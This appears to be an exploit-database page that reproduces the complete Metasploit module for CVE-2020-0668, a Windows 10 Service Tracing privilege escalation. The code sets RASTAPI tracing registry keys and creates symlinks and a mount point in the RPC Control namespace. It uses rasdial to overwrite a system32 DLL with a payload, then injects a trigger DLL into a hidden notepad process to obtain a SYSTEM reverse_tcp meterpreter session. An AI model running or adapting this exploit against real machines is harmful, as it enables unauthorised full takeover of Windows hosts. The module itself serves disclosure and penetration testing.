Lucene search
K

Service Tracing Privilege Escalation

🗓️ 08 May 2020 00:00:00Reported by bwatters-r7Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 195 Views

Service Tracing Privilege Elevation Vulnerability module leveraging dll hijacking to gain SYSTEM-level access on Windows 10 x64 targets

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
require 'msf/core/post/windows/registry'  
require 'msf/core/exploit/exe'  
require 'msf/core/post/windows/filesystem'  
require 'msf/core/exploit/file_dropper'  
require 'msf/core/post/file'  
  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
include Msf::Exploit::EXE  
include Msf::Post::Windows::FileSystem  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Service Tracing Privilege Elevation Vulnerability',  
'Description' => %q(This module leverages a  
trusted file overwrite with  
a dll hijacking  
vulnerability to gain  
SYSTEM-level access on  
vulnerable Windows 10 x64  
targets),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'itm4n', # PoC  
'bwatters-r7' # msf module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows x64', { 'Arch' => ARCH_X64 }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 11 2020',  
'References' =>  
[  
['CVE', '2020-0668'],  
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],  
['URL', 'https://github.com/itm4n/SysTracingPoc'],  
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],  
['PACKETSTORM', '156576'],  
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],  
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']  
],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => false,  
'EXITFUNC' => 'thread',  
'Payload' => 'windows/x64/meterpreter/reverse_tcp',  
'WfsDelay' => 900  
}))  
  
register_options([  
OptString.new('EXPLOIT_DIR',  
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),  
OptBool.new('OVERWRITE_DLL',  
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),  
OptString.new('PAYLOAD_UPLOAD_NAME',  
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),  
OptString.new('PHONEBOOK_UPLOAD_NAME',  
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])  
])  
# stores open handles to cleanup properly  
end  
  
def write_reg_value(registry_hash)  
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")  
begin  
if !registry_key_exist?(registry_hash[:key_name])  
registry_createkey(registry_hash[:key_name])  
registry_hash[:delete_on_cleanup] = true  
else  
registry_hash[:delete_on_cleanup] = false  
end  
registry_setvaldata(registry_hash[:key_name].strip, \  
registry_hash[:value_name].strip, \  
registry_hash[:value_value], \  
registry_hash[:value_type])  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error(e.to_s)  
end  
end  
  
def remove_reg_value(registry_hash)  
# we may have already deleted the key  
return unless registry_key_exist?(registry_hash[:key_name])  
  
begin  
if registry_hash[:delete_on_cleanup]  
vprint_status("Deleting #{registry_hash[:key_name]} key")  
registry_deletekey(registry_hash[:key_name])  
else  
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")  
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])  
end  
rescue Rex::Post::Meterpreter::RequestError => e  
print_bad("Unable to clean up registry")  
print_error(e.to_s)  
end  
end  
  
def create_reg_hash(new_size, exploit_dir)  
reg_keys = []  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",  
value_name: "EnableFileTracing",  
value_type: "REG_DWORD",  
value_value: 1,  
delete_on_cleanup: false)  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",  
value_name: "FileDirectory",  
value_type: "REG_EXPAND_SZ",  
value_value: exploit_dir,  
delete_on_cleanup: false)  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",  
value_name: "MaxFileSize",  
value_type: "REG_DWORD",  
value_value: new_size,  
delete_on_cleanup: false)  
reg_keys  
end  
  
def remove_file(file_pathname)  
vprint_status("Deleting #{file_pathname}")  
begin  
session.fs.file.rm(file_pathname)  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Manual cleanup of \"#{file_pathname}\" required!")  
end  
end  
  
def cleanup_mountpoint(dir)  
print_status("Delete mountpoint #{dir}")  
unless delete_mount_point(dir)  
print_error("Error when deleting the mount point.")  
end  
begin  
session.fs.dir.rmdir(dir)  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Error when deleting \"#{dir}\".")  
end  
end  
  
def setup_process  
begin  
print_status('Launching notepad to host the exploit...')  
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)  
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
process  
end  
  
def inject_magic(process)  
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')  
library_path = ::File.expand_path(library_path)  
  
print_status("Reflectively injecting the trigger DLL into #{process.pid}...")  
dll = ''  
::File.open(library_path, 'rb') { |f| dll = f.read }  
exploit_mem, offset = inject_dll_data_into_process(process, dll)  
vprint_status("Trigger injected.")  
payload_mem = inject_into_process(process, payload.encoded)  
print_status('Trigger injected. Starting thread...')  
process.thread.create(exploit_mem + offset, payload_mem)  
end  
  
def launch_dll_trigger  
begin  
print_status('Trying to start notepad')  
process = setup_process  
inject_magic(process)  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
print_error(e.message)  
end  
end  
  
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)  
handles = []  
reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)  
vprint_status("Registry hash = #{reg_hash}")  
  
# set up directories and mountpoints  
vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")  
mkdir(exploit_dir)  
vprint_status("Made #{exploit_dir}")  
register_file_for_cleanup(upload_payload_pathname)  
mount_dir = '\\RPC Control\\'  
  
# Create mountpoint  
print_status("Creating mountpoint")  
unless create_mount_point(exploit_dir, mount_dir)  
fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")  
end  
  
# Upload payload  
print_status("Uploading payload to #{upload_payload_pathname}")  
write_file(upload_payload_pathname, file_contents)  
register_file_for_cleanup(upload_payload_pathname)  
upload_md5 = session.fs.file.md5(upload_payload_pathname)  
vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")  
  
# Create Symlinks  
print_status("Creating Symlinks")  
vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")  
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")  
unless symlink_handle  
fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")  
end  
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")  
handles.push(symlink_handle['LinkHandle'])  
vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")  
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")  
unless symlink_handle  
fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")  
end  
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")  
handles.push(symlink_handle['LinkHandle'])  
  
# write registry keys  
reg_hash.each do |entry|  
write_reg_value(entry)  
end  
  
# Upload phonebook file  
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'  
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name  
launch_rasdialer(upload_phonebook_pathname)  
register_file_for_cleanup(upload_phonebook_pathname)  
vprint_status("Checking on #{target_payload_pathname}")  
vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")  
moved_md5 = session.fs.file.md5(target_payload_pathname)  
vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")  
  
# clean up after file move  
print_status("Cleaning up before triggering dll load...")  
print_status("Removing Registry keys")  
reg_hash.each do |entry|  
remove_reg_value(entry)  
end  
print_status("Removing Symlinks")  
handles.each do |handle|  
result = session.railgun.kernel32.CloseHandle(handle)  
vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")  
end  
print_status("Removing Mountpoint")  
session.fs.dir.rmdir(exploit_dir)  
print_status("Removing directories")  
unless moved_md5 == upload_md5  
fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")  
end  
end  
  
def exploit  
validate_target  
validate_active_host  
# dll should not already exist  
win_dir = session.sys.config.getenv('windir')  
target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"  
if file?(target_payload_pathname)  
print_warning("#{target_payload_pathname} already exists")  
print_warning("If it is in use, the overwrite will fail")  
unless datastore['OVERWRITE_DLL']  
print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")  
fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")  
end  
end  
  
# set up variables  
temp_dir = session.sys.config.getenv('TEMP')  
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)  
upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"  
payload_dll = generate_payload_dll  
print_status("Payload DLL is #{payload_dll.length} bytes long")  
  
# start file copy  
rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)  
  
# launch trigger  
launch_dll_trigger  
print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")  
print_status("Exploit complete. It may take up to 10 minutes to get a session")  
end  
  
def validate_active_host  
begin  
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
raise Msf::Exploit::Failed, 'Could not connect to session'  
end  
end  
  
def validate_target  
unless sysinfo['Architecture'] == ARCH_X64  
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')  
end  
  
if session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
end  
  
sysinfo_value = sysinfo['OS']  
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i  
vprint_status("Build Number = #{build_num}")  
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)  
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')  
end  
end  
  
def launch_rasdialer(upload_phonebook_pathname)  
local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')  
ensure_clean_destination(upload_phonebook_pathname)  
vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")  
begin  
upload_file(upload_phonebook_pathname, local_phonebook_path)  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Failed to upload phonebook")  
return nil  
end  
print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")  
  
# Launch RASDIAL  
vprint_status("Launching Rasdialer")  
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname  
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")  
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)  
vprint_status(output)  
end  
  
def ensure_clean_destination(path)  
return unless file?(path)  
  
print_status("#{path} already exists on the target. Deleting...")  
begin  
file_rm(path)  
print_status("Deleted #{path}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
print_error("Unable to delete #{path}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation